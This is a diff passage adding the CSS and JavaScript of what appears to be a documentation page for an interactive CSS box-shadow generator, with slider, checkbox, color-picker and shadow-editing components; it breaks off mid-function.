+#output .value {
+	width: 65%;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">
+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value &lt;= max &amp;&amp; value &gt;= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step &lt;= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step &gt;= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos &lt; 0) pos = 0;
+		if (pos &gt; width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision &gt; this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value &gt; slider.max || value &lt; slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x &gt; size)
+				x = size;
+			if (y &gt; size)
+				y = size;
+
+			if (x &lt; 0) x = 0;
+			if (y &lt; 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt; 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
